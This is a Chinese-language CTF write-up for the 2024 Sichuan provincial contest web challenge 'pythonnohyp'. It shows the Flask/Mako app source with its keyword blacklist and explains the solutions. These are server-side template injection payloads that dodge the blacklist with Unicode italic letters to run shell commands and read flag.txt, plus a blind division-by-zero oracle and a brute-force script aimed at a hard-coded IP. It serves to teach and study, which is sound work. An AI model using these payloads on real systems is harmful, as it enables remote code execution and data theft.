【Web】2024 四川省赛 pythonnohyp wp - 指南

更多是写给学弟学妹看

目录

源码

思路

解法

解法一

解法二


源码

app.py

from flask import Flask, render_template, request, redirect, url_for
from flask_mako import MakoTemplates, render_template as mako_render_template
from mako.template import Template as Mako_T
import os
app = Flask(__name__)
# 设置模板目录路径
template_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'templates')
app.template_folder = template_dir
mako = MakoTemplates(app)
# 其余代码保持不变...
welcome_string = """



    My APP
    


    
Welcome %s ! %%if title: This your admin page. %%endif

This is your profile。

""" welcome_message = "welcome" black_list = ['${', 'import', 'os', 'system', 'popen', 'join', 'context', 'sys', '__', 'builtins', 'eval', 'exec', 'ord'] @app.route('/', methods=['GET', 'POST']) def index(): if request.method == 'POST': username = request.form['username'] return redirect(url_for('welcome', username=username)) return mako_render_template('index.html') @app.route('/welcome') def welcome(): username = request.args.get('username') if len(username) > 42: return "error username" for key in black_list: if key.upper() in username.upper(): return "bad username" if username == "Admin": return Mako_T(welcome_string % username).render(title=True) return Mako_T(welcome_string % username).render(title=False) if __name__ == '__main__': app.run(host='0.0.0.0', port=5002)

templates/index.html




    Login Page
    


    

User Login

Note:

  • Username must be less than 42 characters
  • Certain keywords are restricted
  • Try "Admin" for special access

思路

题目是给附件的,直接看源码

一眼丁真,做了些黑名单的mako ssti,还对输入长度限制为42

线下断网能找到先知社区知识库

也就是

https://xz.aliyun.com/news/11633

解法

解法一

关键词过滤直接用斜体绕(Z3知识库里有写,对照看就行

__ℴ__('o''s').ℯ('cat f*')

题目是无回显的

可以写文件

<%__ℴ__('o''s').ℯ('cat f* > static/1.txt')%>

然后访问static/1.txt读到结果

也可以打有回显的payload(见文章

注意这里只能用popen.read带出,system只会返回执行完的状态码0

<%str(__M_writer(str(__ℴ__('o''s').ℴℯ('cat f*').ℯ())))%>

但长度超了,没法打(上图是我魔改长度的版本

解法二

长度限制比较死,RCE几乎最短的payload都超长度了

可以试着读文件

有回显就出了

<%print(open('flag.txt').read())%>

无回显只能盲注

<%if open('flag.txt').read()[0]=='f':1/0%>
<%if open('flag.txt').read()[1]=='l':1/0%>

利用的是除0报500来盲注

让ai随便写了个粗糙的脚本爆出flag

import requests
import string
def blind_sql_injection():
    base_url = "http://8.138.38.81:5002/welcome?username="
    # 可能的字符集:大小写字母、数字、{}和-
    charset = string.ascii_letters + string.digits + "{}_-"
    flag = ""
    position = 0
    max_length = 50  # 假设flag最大长度为50
    print("开始盲注攻击...")  # 添加开始提示
    while position < max_length:
        found_char = False
        for char in charset:
            # 构造payload,检查指定位置的字符
            payload = f"<%if open('flag.txt').read()[{position}]=='{char}':1/0%>"
            url = base_url + payload
            try:
                response = requests.get(url, timeout=5)
                # 如果返回500状态码,说明条件为真,字符匹配
                if response.status_code == 500:
                    flag += char
                    position += 1
                    found_char = True
                    print(f"找到第{position}个字符: {char}, 当前flag: {flag}")
                    break
            except requests.exceptions.RequestException as e:
                print(f"请求错误: {e}")
                continue
        # 如果没有找到字符,可能已经到达flag末尾
        if not found_char:
            print(f"在第{position + 1}位置未找到匹配字符,可能flag已结束")
            break
    print(f"\n最终flag: {flag}")
    return flag
# 添加这行代码来调用函数
if __name__ == "__main__":
    blind_sql_injection()

posted on 2025-10-29 18:45  blfbuaa  阅读(0)  评论(0)    收藏  举报